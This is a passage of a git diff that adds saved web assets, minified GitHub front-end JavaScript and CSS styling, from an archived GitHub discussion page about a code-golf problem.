o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 